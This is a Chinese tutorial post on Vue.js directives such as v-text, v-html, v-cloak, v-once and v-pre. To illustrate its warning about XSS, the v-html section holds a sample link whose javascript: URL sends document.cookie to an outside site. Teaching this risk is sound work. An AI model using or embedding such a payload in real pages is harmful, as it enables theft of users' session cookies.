v-text与v-html

185 阅读2分钟

v-text:

v-text指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

v-html:
注意:使用v-html会有安全性问题

v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
<div id="root">
    <div>你好,{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

new Vue({
    el:'#root',
    data:{
        name:'尚硅谷',
        str:'<h3>你好啊!</h3>',
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
        //用户一旦点击后,就将cookie的信息暴露(cookie一般存储的都是敏感信息)
        //如果用户以留言的形式,带标签放进去会被解析,被其他用户点击后,就能获取其他用户的cookie
    }
})

我们学过的指令:

我们学过的指令:
v-bind	: 单向绑定解析表达式, 可简写为 :xxx
v-model	: 双向数据绑定
v-for  	: 遍历数组/对象/字符串
v-on   	: 绑定事件监听, 可简写为@
v-if 	: 条件渲染(动态控制节点是否存存在)
v-else 	: 条件渲染(动态控制节点是否存存在)
v-show 	: 条件渲染 (动态控制节点是否展示)

其余指令:

v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。